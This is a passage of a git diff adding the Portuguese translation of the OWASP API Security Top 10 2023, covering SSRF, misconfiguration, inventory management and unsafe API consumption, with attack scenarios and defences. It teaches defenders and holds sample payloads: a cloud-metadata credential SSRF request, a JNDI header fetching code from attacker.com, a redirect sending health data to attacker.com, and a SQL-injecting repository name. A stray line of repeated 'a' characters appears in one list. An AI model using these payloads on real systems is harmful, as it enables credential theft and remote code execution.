indústrias e empresas. Por +exemplo, a criação de publicações através de um script pode ser considerada um +risco de spam por uma rede social, mas incentivada por outra rede social. + +Um endpoint de API está vulnerável se expõe um fluxo de negócio sensível sem +restringir adequadamente o acesso a ele. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma empresa de tecnologia anuncia que vai lançar uma nova consola de jogos no +Dia de Ação de Graças. O produto tem uma procura muito alta e o stock é +limitado. Um atacante escreve código para comprar automaticamente o novo produto +e concluir a transação. + +No dia do lançamento, o atacante executa o código distribuído por diferentes +endereços IP e localizações. A API não implementa a proteção adequada e permite +que o atacante compre a maior parte do stock antes de outros utilizadores +legítimos. + +Mais tarde, o atacante vende o produto noutra plataforma por um preço muito mais +alto. + +### Cenário #2 + +Uma companhia aérea oferece a compra de bilhetes online sem taxa de +cancelamento. Um utilizador com intenções maliciosas reserva 90% dos assentos de +um voo desejado. + +Alguns dias antes do voo, o utilizador malicioso cancelou todos os bilhetes de +uma vez, o que obrigou a companhia aérea a baixar os preços dos bilhetes para +preencher o voo. + +Deste modo, o utilizador consegue comprar um bilhete que está muito mais barato +do que o original. + +### Cenário #3 + +Uma aplicação de partilha de boleias oferece um programa de referência - os +utilizadores podem convidar os seus amigos e ganhar crédito por cada amigo que +se juntar à aplicação. Este crédito pode ser posteriormente utilizado como +dinheiro para reservar viagens. + +Um atacante explora este fluxo escrevendo um script para automatizar o processo +de registo, com cada novo utilizador a adicionar crédito à carteira do atacante. + +O atacante pode posteriormente usufruir de viagens gratuitas ou vender as contas +com créditos excessivos por dinheiro. + +## Como Prevenir + +O planeamento da mitigação deve ser feito em duas camadas: + +* Negócio - identificar os fluxos de negócio que podem prejudicar a empresa se + forem utilizados em excesso. +* Engenharia - escolher os mecanismos de proteção adequados para mitigar o risco + empresarial. + + Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais + difíceis de implementar. Os seguintes métodos são utilizados para desacelerar + ameaças automatizadas: + + * _Fingerprinting_ de dispositivos: negar serviço a dispositivos de cliente + inesperados (e.g. navegadores _headless_) tende a fazer com que os atacantes + usem soluções mais sofisticadas, tornando-as mais caras para eles. + * Deteção humana: utilize _captcha_ ou soluções biométricas mais avançadas + (e.g. padrões de digitação). + * Padrões não humanos: analisar o fluxo do utilizador para detetar padrões + não humanos (e.g. o utilizador acedeu às funções "adicionar ao carrinho" e + "finalizar compra" em menos de um segundo). + * Considere bloquear endereços IP de nós de saída da rede Tor e proxies bem + conhecidos. + + Proteja e limite o acesso às APIs que são consumidas diretamente por máquinas + (como APIs para desenvolvedores e B2B). Elas tendem a ser um alvo fácil para + atacantes, pois muitas vezes não implementam todos os mecanismos de proteção + necessários. + +## Referências + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/pt-pt/0xa7-server-side-request-forgery.md b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..ea8d7ffac --- /dev/null +++ b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md @@ -0,0 +1,164 @@ +# API7:2023 Server Side Request Forgery + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Detectability **Fácil** | Técnico **Moderado** : Específico do Negócio | +| A exploração requer que o atacante encontre um _endpoint_ da API que aceda a um URI fornecido pelo cliente. Em geral, SSRF básico (quando a resposta é retornada ao atacante) é mais fácil de explorar do que _Blind_ SSRF, em que o atacante não tem feedback sobre se o ataque foi bem sucedido ou não. | Os conceitos modernos no desenvolvimento de aplicações incentivam os desenvolvedores a aceder a URIs fornecidos pelo cliente. A falta de validação ou a validação inadequada desses URIs são problemas comuns. Será necessária a análise regular de solicitações e respostas da API para detetar o problema. Quando a resposta não é retornada (_Blind_ SSRF), a deteção da vulnerabilidade exige mais esforço e criatividade. | A exploração bem sucedida pode levar à enumeração de serviços internos (e.g. scan de portas), divulgação de informações, bypass de firewalls ou outros mecanismos de segurança. Em alguns casos, pode levar a DoS ou ao uso do servidor como um proxy para ocultar atividades maliciosas. | + +## A API é vulnerável? + +Falhas de Server-Side Request Forgery (SSRF) ocorrem quando uma API pede um +recurso remoto sem validar o URL fornecido pelo utilizador. Isso permite que um +atacante force a aplicação a enviar um pedido manipulado para um destino +inesperado, mesmo quando protegido por uma firewall ou uma VPN. + +Os conceitos modernos no desenvolvimento de aplicações tornam o SSRF mais comum +e mais perigoso. + +Mais comum - os seguintes conceitos incentivam os desenvolvedores a aceder a +recursos externos com base em entradas de utilizadores: Webhooks, download de +ficheiros a partir de URLs, SSO personalizado e pré-visualização de URLs. + +Mais perigoso - Tecnologias modernas como provedores de nuvem, Kubernetes e +Docker expõem canais de gestão e controle via HTTP em caminhos previsíveis e +bem conhecidos. Esses canais são um alvo fácil para um ataque SSRF. + +Também é mais desafiador limitar o tráfego de saída da sua aplicação, devido à +natureza conectada das aplicações modernas. + +O risco de SSRF nem sempre pode ser completamente eliminado. Ao escolher um +mecanismo de proteção, é importante considerar os riscos e necessidades do +negócio. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social permite que os utilizadores façam o upload de fotos de perfil. +O utilizador pode escolher entre carregar o ficheiro de imagem do seu +dispositivo ou fornecer o URL da imagem. Escolher a segunda opção irá acionar a +seguinte chamada API: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Um atacante pode enviar um URL malicioso e iniciar um _scan_ de portas +dentro da rede interna usando o _endpoint_ da API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Com base no tempo de resposta, o atacante pode descobrir se a porta está +aberta ou não. + +### Cenário #2 + +Um produto de segurança gera eventos quando detecta anomalias na rede. +Algumas equipas preferem rever os eventos num sistema de monitorização mais +amplo e genérico, como um SIEM (Gestão de Informações e Eventos de Segurança). +Para este fim, o produto fornece integração com outros sistemas usando +_webhooks_. + +Como parte da criação de um novo _webhook_, uma mutação GraphQL é enviada com o +URL da API do SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Durante o processo de criação, o _back-end_ da API envia um pedido de teste para o +URL do webhook fornecido e apresenta a resposta ao utilizador. + +Um atacante pode explorar este fluxo e fazer com que a API solicite um recurso +sensível, como um serviço de metadados de nuvem interna que expõe credenciais: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Uma vez que a aplicação mostra a resposta do pedido de teste, o atacante pode +visualizar as credenciais do ambiente de nuvem. + +## Como Prevenir + +* Isole o mecanismo de obtenção de recursos na sua rede: geralmente, essas + funcionalidades são destinadas a recuperar recursos remotos e não internos. +* Sempre que possível, utilize listas de permissões de: + * Origens remotas das quais se espera que os utilizadores façam download de + recursos (por exemplo, Google Drive, Gravatar, etc.) + * Esquemas de URL e portas + * Tipos de media aceites para uma determinada funcionalidade +* Desative redirecionamentos HTTP. +* Utilize um URL _parser_ bem testado e mantido para evitar problemas causados +por inconsistências no processamento de URLs. +* Valide e sanitize todos os dados de entrada fornecidos pelo cliente. +* Não envie respostas não tratadas aos clientes. + +## Referências + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externas + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/pt-pt/0xa8-security-misconfiguration.md b/editions/2023/pt-pt/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..c1a7a3bee --- /dev/null +++ b/editions/2023/pt-pt/0xa8-security-misconfiguration.md @@ -0,0 +1,139 @@ +# API8:2023 Security Misconfiguration + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Detectability **Fácil** | Técnico **Severo** : Específico do Negócio | +| Os atacantes frequentemente tentam encontrar falhas não corrigidas, _endpoints_ comuns, serviços a funcionar com configurações padrão inseguras ou arquivos e diretórios não protegidos para obter acesso não autorizado ou conhecimento do sistema. A maior parte disto é conhecimento público e os _exploits_ podem estar disponíveis. | A má configuração de segurança pode ocorrer em qualquer nível da API, desde o nível da rede até o nível da aplicação. Ferramentas automatizadas estão disponíveis para detectar e explorar más configurações, como serviços desnecessários ou opções antigas. | As más configurações de segurança não expõem apenas dados sensíveis dos utilizadores, mas também detalhes do sistema que podem levar a um compromisso total do servidor. | + +## A API é vulnerável? + +A API pode ser vulnerável se: + +* As devidas proteções de segurança não foram aplicadas em qualquer parte da + API, ou se houver permissões mal configuradas em serviços de nuvem. +* Os últimos _patches_ de segurança estão em falta ou os sistemas estão + desatualizados. +* Funcionalidades desnecessárias estão ativadas (por exemplo, verbos HTTP, + funcionalidades de registo de eventos). +* Existem discrepâncias na forma como os pedidos são processados pelos + servidores na cadeia de servidores HTTP. +* A Segurança da Camada de Transporte (TLS) está em falta. +* Diretivas de segurança ou de controlo de cache não são enviadas aos clientes. +* Uma política de Partilha de Recursos entre Origens (CORS) está em falta ou mal + configurada. +* As mensagens de erro incluem _stack traces_ ou expõem outras informações + sensíveis. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Um servidor de API _back-end_ mantém um registo de acesso escrito por uma +utilidade de registo _open-source_ popular de terceiros, com suporte para +expansão de espaços reservados e pesquisas JNDI (Java Naming and Directory +Interface), ambos ativados por defeito. Para cada pedido, uma nova entrada é +escrita no ficheiro de registo com o seguinte padrão: +` / - `. + +Um ator malicioso emite o seguinte pedido de API, que é escrito no ficheiro de +registo de acesso: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Devido à configuração padrão insegura da utilidade de registo e a uma política +de rede de saída permissiva, para escrever a entrada correspondente no registo +de acesso, ao expandir o valor no cabeçalho `X-Api-Version` do pedido, a +utilidade de registo irá buscar e executar o objeto `Malicious.class` do +servidor controlado remotamente pelo atacante. + +### Cenário #2 + +Um site de rede social oferece uma funcionalidade de "Mensagem Direta" que +permite aos utilizadores manter conversas privadas. Para recuperar novas +mensagens de uma conversa específica, o site emite o seguinte pedido de API (a +interação do utilizador não é necessária): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Como a resposta da API não inclui o cabeçalho de resposta HTTP `Cache-Control`, +as conversas privadas acabam por ser armazenadas em cache pelo navegador, +permitindo que agentes mal-intencionados as recuperem dos ficheiros de cache do +navegador no sistema de ficheiros. + +## Como Prevenir + +O ciclo de vida da API deve incluir: + +* Um processo de proteção reprodutível que possa ser implantado de forma fácil + e rápida com vista a um ambiente de execução devidamente protegido. +* Um processo de revisão e atualização de todas as camadas da API. A revisão + deve incluir: ficheiros de orquestração, componentes da API e serviços na + nuvem (e.g., permissões dos _buckets_ S3). +* Um processo automatizado para verificar de forma continua as configurações e + definições em todos os ambientes (produção, _staging_, testes, + desenvolvimento). + +E ainda: + +* Assegure que todas as comunicações de API, do cliente para o servidor de API e + qualquer componente _downstream_/_upstream_, ocorram através de um canal de + comunicação encriptado (TLS), independentemente de se tratar de uma API + interna ou pública. +* Seja específico sobre quais verbos HTTP cada API pode utilizar: todos os + outros verbos HTTP devem ser desativados (por exemplo, HEAD). +* As APIs que esperam ser acedidas a partir de clientes baseados em navegador + (por exemplo, aplicação web _front-end_) devem, pelo menos: + * implementar uma política adequada de Partilha de Recursos entre Origens + (CORS). + * incluir os Cabeçalhos de Segurança aplicáveis. +* Restrinja os tipos de conteúdo/formatos de dados recebidos àqueles que cumprem + os requisitos funcionais/de negócio. +* Assegure que todos os servidores na cadeia de servidores HTTP (por exemplo, + balanceadores de carga, proxies reversos e diretos, e servidores de + _back-end_) processem os pedidos de entrada de forma uniforme para evitar + problemas de dessincronização. +* Quando aplicável, defina e faça cumprir todos os esquemas de dados de resposta + da API, incluindo respostas de erro, para evitar que informações de exceções e + outras informações valiosas sejam enviadas para os atacantes. + +## Referências + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externas + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/pt-pt/0xa9-improper-inventory-management.md b/editions/2023/pt-pt/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..bad6bdece --- /dev/null +++ b/editions/2023/pt-pt/0xa9-improper-inventory-management.md @@ -0,0 +1,114 @@ +# API9:2023 Improper Inventory Management + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| Os agentes ameaça geralmente obtêm acesso não autorizado através de versões antigas de APIs ou _endpoints_ que permanecem em execução sem atualizações e que utilizam requisitos de segurança mais fracos. Em alguns casos, os _exploits_ estão disponíveis online. Alternativamente, podem obter acesso a dados sensíveis através de um terceiro com quem não há razão para compartilhar dados. | Documentação desatualizada torna mais difícil encontrar e/ou corrigir vulnerabilidades. A falta de inventário de recursos e estratégias de desativação leva à execução de sistemas sem atualizações, resultando em vazamentos de dados sensíveis. É comum encontrar hosts de API desnecessariamente expostos devido a conceitos modernos como microserviços, que tornam as aplicações fáceis de implantar e independentes (por exemplo, computação em nuvem, K8S). Um simples Google Dorking, enumeração de DNS ou o uso de motores de busca especializados para vários tipos de servidores (webcams, routers, servidores, etc.) conectados à internet será suficiente para descobrir alvos. | Os atacantes podem obter acesso a dados sensíveis ou até mesmo tomar o controlo do servidor. Às vezes, diferentes versões/implementações da API estão conectadas à mesma base de dados com dados reais. Agentes ameaça podem explorar _endpoints_ obsoletos disponíveis em versões antigas da API para obter acesso a funções administrativas ou explorar vulnerabilidades conhecidas. | + +## A API é vulnerável? + +A natureza dispersa e conectada das APIs e das aplicações modernas traz novos +desafios. É importante que as organizações não só tenham uma boa compreensão e +visibilidade das suas próprias APIs e _endpoints_, mas também de como as APIs +estão a armazenar ou a partilhar dados com terceiros. + +Executar múltiplas versões de uma API requer recursos de gestão adicionais do +fornecedor da API e expande a superfície de ataque. + +Uma API tem um "ponto cego de documentação" se: + +* O propósito de um _host_ da API é pouco claro e não há respostas explícitas + para as seguintes perguntas: + * Em que ambiente está a API a ser executada (por exemplo, produção, + _staging_, teste, desenvolvimento)? + * Quem deve ter acesso à rede da API (por exemplo, público, interno, + parceiros)? + * Qual versão da API está em execução? +* Não existe documentação ou a documentação existente não está atualizada. +* Não existe um plano de desativação para cada versão da API. +* O inventário do _host_ está em falta ou desatualizado. + +A visibilidade e o inventário dos fluxos de dados sensíveis desempenham um papel +importante como parte de um plano de resposta a incidentes, caso ocorra uma +violação do lado de terceiros. + +Uma API tem um "ponto cego de fluxo de dados" se: + +* Existe um "fluxo de dados sensíveis" onde a API compartilha dados sensíveis + com um terceiro e + * Não existe uma justificação de negócio ou aprovação do fluxo + * Não existe inventário ou visibilidade do fluxo + * Não há visibilidade detalhada sobre o tipo de dados sensíveis partilhados + + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de limitação de frequência de pedidos +que previne que atacantes possam usar força bruta para adivinhar _tokens_ de +redefinição de _password_. Este mecanismo não foi implementado como parte do +código da própria API, mas num componente separado entre o cliente e a API +oficial (`api.socialnetwork.owasp.org`). Um investigador encontrou um _host_ da +API beta (`beta.api.socialnetwork.owasp.org`) que executa a mesma API, incluindo +o mecanismo de redefinição de _password_, mas sem o mecanismo de limitação de +frequência de pedidos. O investigador conseguiu redefinir a _password_ de +qualquer utilizador usando força bruta simples para adivinhar o _token_ de 6 +dígitos. + +### Cenário #2 + +Uma rede social permite que desenvolvedores de aplicações independentes se +integrem com ela. Como parte desse processo, é solicitado o consentimento do +utilizador final para que a rede social possa partilhar as informações pessoais +do utilizador com a aplicação independente. + +O fluxo de dados entre a rede social e as aplicações independentes não é +suficientemente restritivo ou monitorizado, permitindo que as aplicações acedam +não apenas às informações do utilizador, mas também às informações privadas de +todos os seus amigos. + +Uma empresa de consultoria cria uma aplicação maliciosa e consegue obter o +consentimento de 270 mil utilizadores. Devido a essa falha, a empresa de +consultoria consegue aceder às informações privadas de 50 milhões de +utilizadores. Mais tarde, a empresa de consultoria vende as informações para +fins maliciosos. + +## Como Prevenir + +* Inventarie todos os _hosts_ da API e documentar os aspectos + importantes de cada um deles, focando no ambiente da API (por exemplo, + produção, _staging_, teste, desenvolvimento), quem deve ter acesso à rede do + _host_ (por exemplo, público, interno, parceiros) e a versão da API. +* Inventarie os serviços integrados e documentar aspectos + importantes, como o seu papel no sistema, quais dados são trocados (fluxo de + dados) e a sua sensibilidade. +* Documente todos os aspectos da sua API, como autenticação, erros, + redirecionamentos, limitação de frequência de pedidos, política de partilha de + recursos entre origens (CORS) e _endpoints_, incluindo os seus parâmetros, + pedidos e respostas. +* Crie documentação automaticamente adotando padrões abertos. Inclua a + construção da documentação no seu _pipeline_ de CI/CD. +* Disponibilize a documentação da API apenas para aqueles autorizados a utilizar + a API. +* Utilize medidas de proteção externas, como soluções específicas de segurança + de API, para todas as versões expostas das suas APIs, não apenas para a versão + de produção atual. +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +* Evite utilizar dados de produção em implementações de API que não são + produção. Se isso for inevitável, esses _endpoints_ devem receber o mesmo + tratamento de segurança que os de produção. +* Quando versões mais recentes das APIs incluem melhorias de segurança, realize + uma análise de risco para informar as ações de mitigação necessárias para as + versões mais antigas. Por exemplo, se é possível aplicar as melhorias nessas + versões mais antigas sem quebrar a compatibilidade da API ou se é necessário + remover rapidamente a versão mais antiga e forçar todos os clientes a migrar + para a versão mais recente. + +## Referências + +### Externas + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..3081d4048 --- /dev/null +++ b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,111 @@ +# API10:2023 Unsafe Consumption of APIs + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Moderado** | Técnico **Severo** : Específico Negócio | +| Explorar este problema requer que os atacantes identifiquem e potencialmente comprometam outras APIs/serviços com os quais a API alvo está integrada. Normalmente, esta informação não está disponível publicamente ou a API/serviço integrado não é facilmente explorável. | Os desenvolvedores tendem a confiar e não a verificar os _endpoints_ que interagem com APIs externas ou de terceiros, dependendo de requisitos de segurança mais fracos, como aqueles relacionados à segurança do transporte, autenticação/autorização e validação e sanitização de dados. Os atacantes precisam identificar os serviços com os quais a API alvo se integra (fontes de dados) e, eventualmente, comprometer esses serviços. | O impacto varia de acordo com o que a API alvo faz com os dados extraídos. A exploração bem sucedida pode levar à exposição de informações sensíveis a atores não autorizados, a vários tipos de injeções ou à negação de serviço. | + +## A API é vulnerável? + +Os desenvolvedores tendem a confiar mais nos dados recebidos de APIs de +terceiros do que nos dados fornecidos por utilizadores. Isso é especialmente +verdade para APIs oferecidas por empresas bem conhecidas. Por essa razão, os +desenvolvedores tendem a adotar padrões de segurança mais fracos, especialmente +no que diz respeito à validação e sanitização de dados. + +A API pode estar vulnerável se: + +* Interage com outras APIs através de um canal não encriptado; +* Não valida e sanitiza corretamente os dados recolhidos de outras APIs antes de + os processar ou de os passar para componentes posteriores; +* Segue redirecionamentos cegamente; +* Não limita o número de recursos disponíveis para processar respostas de + serviços de terceiros; +* Não implementa limites de tempo para interações com serviços de terceiros; + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma API depende de um serviço de terceiros para enriquecer os endereços +comerciais fornecidos pelos utilizadores. Quando um endereço é fornecido pelo +utilizador final à API, ele é enviado para o serviço de terceiros e os dados +retornados são então armazenados numa base de dados local compatível com SQL. + +Atacantes utilizam o serviço de terceiros para armazenar um conteúdo malicioso +de injeção SQL (SQLi) associado a um negócio criado por eles. Em seguida, visam +a API vulnerável fornecendo um conteúdo específico que faz com que esta obtenha +o "negócio malicioso" do serviço de terceiros. O conteúdo de SQLi acaba por ser +executado pela base de dados, exfiltrando dados para um servidor controlado pelo +atacante. + +### Cenário #2 + +Uma API integra-se com um fornecedor de serviços de terceiros para armazenar com +segurança informações médicas sensíveis dos utilizadores. Os dados são enviados +através de uma conexão segura usando um pedido HTTP como o abaixo: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Atacantes encontraram uma forma de comprometer a API de terceiros, que começa a +responder com um `308 Permanent Redirect` a pedidos como o anterior. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Como a API segue cegamente os redirecionamentos do terceiro, ela repetirá +exatamente o mesmo pedido, incluindo os dados sensíveis do utilizador, mas desta +vez para o servidor do atacante. + +### Cenário #3 + +Um atacante pode preparar um repositório git chamado `'; drop db;--`. + +Agora, quando uma integração de uma aplicação atacada é feita com o repositório +malicioso, uma carga de injeção SQL é utilizada numa aplicação que constrói uma +consulta SQL, acreditando que o nome do repositório é um conteúdo seguro. + +## Como Prevenir + +* Ao avaliar fornecedores de serviços, analise a postura de segurança das suas + APIs. +* Garanta que todas as interações com APIs ocorram através de um canal de + comunicação seguro (TLS). +* Valide e sanitize sempre os dados recebidos de APIs integradas antes de os + utilizar. +* Mantenha uma lista de permissões de locais conhecidos para os quais as APIs + integradas podem redirecionar a sua: não siga redirecionamentos cegamente. + +## Referências + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externas + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/pt-pt/0xb0-next-devs.md b/editions/2023/pt-pt/0xb0-next-devs.md new file mode 100644 index 000000000..76c38f98c --- /dev/null +++ b/editions/2023/pt-pt/0xb0-next-devs.md @@ -0,0 +1,38 @@ +# O Que Se Segue Para Programadores + +A tarefa de criar e manter aplicações seguras, ou corrigir aplicações +existentes, pode ser difícil. Não é diferente para as APIs. + +Acreditamos que educação e consciencialização são fatores chave para o +desenvolvimento de software seguro. Tudo o mais necessário para alcançar este +objetivo depende da **definição e utilização de processos de segurança +reprodutíveis e do uso de controlos de segurança _standard_**. + +A OWASP disponibiliza uma grande quantidade de recursos gratuitos e abertos para +abordar a segurança. Por favor visite a [página dos projetos OWASP][1] para +consulta da lista dos projetos existentes. + +| | | +|-|-| +| **Educação** | O [Application Security Wayfinder][2] deve oferecer uma boa ideia sobre quais projetos estão disponíveis para cada etapa/fase do Ciclo de Vida do Desenvolvimento de Software (SDLC). Para aprendizagem prática/treino, pode começar com [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4]: ambos possuem APIs intencionalmente vulneráveis. O [OWASP Vulnerable Web Applications Directory Project][5] fornece uma lista curada de aplicações intencionalmente vulneráveis: lá encontrará várias outras APIs vulneráveis. Também pode participar em sessões de treino da [OWASP AppSec Conference][6] ou [juntar-se ao seu chapter local][7]. | +| **Requisitos de Segurança** | A segurança deve fazer parte de qualquer projeto desde o início. É importante que, durante a fase de identificação de requisitos, seja definido o que é que “seguro” significa no contexto desse projeto. A OWASP recomenda a utilização do [OWASP Application Security Verification Standard (ASVS)][8] como guia para definir os requisitos de segurança. Se estiver a subcontratar, considere ao invés a utilização do [OWASP Secure Software Contract Annex][9], o qual deverá adaptar às leis e regulamentações locais. | +| **Arquitetura de Segurança** | A segurança deve ser uma preocupação durante todas as fases dum projeto. O projeto [OWASP Prevention Cheat Sheets][10] é um bom ponto inicial de orientação sobre como contemplar a segurança durante a fase de arquitetura. Entre outros, o [REST Security Cheat Sheet][11] e o [REST Assessment Cheat Sheet][12] serão seguramente relevantes, como também o [GraphQL Cheat Sheet][13]. | +| **Controlos Standard de Segurança** | A adoção de controlos standard de segurança reduzem o risco de introdução de falhas de segurança durante a implementação da lógica de negócio. Apesar de muitas _frameworks_ modernas já incluírem controlos standard, o projeto [OWASP Proactive Controls][14] dá-lhe uma boa visão sobre que controlos de segurança deve incluir no seu projeto. A OWASP também disponibiliza algumas bibliotecas e ferramentas que pode achar úteis, tais como controlos de validação. | +| **Ciclo de Desenvolvimento de Software Seguro** | Pode usar o [OWASP Software Assurance Maturity Model (SAMM)][15] para melhorar o processo de desenvolvimento de APIs. Tem ainda disponíveis vários outros projetos OWASP para o ajudar durante as várias fases de desenvolvimento de APIs, por exemplo o [OWASP Code Review Guide][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/pt-pt/0xb1-next-devsecops.md b/editions/2023/pt-pt/0xb1-next-devsecops.md new file mode 100644 index 000000000..44b5284cb --- /dev/null +++ b/editions/2023/pt-pt/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# O Que Se Segue Para DevSecOps + +Dada a sua importância na arquitetura das aplicações modernas, desenvolver APIs +seguras é crucial. A segurança não pode ser negligenciada e deve estar presente +durante todo o clico de vida do desenvolvimento. Já não basta a execução de +_scanners_ ou a realização de testes de penetração anualmente. + +A equipa de DevSecOps deve fazer parte do esforço de desenvolvimento +contribuindo para a realização de testes de segurança, de forma continuada, +durante todo o ciclo de vida do desenvolvimento. Deve ter como objetivo melhorar +a _pipeline_ de 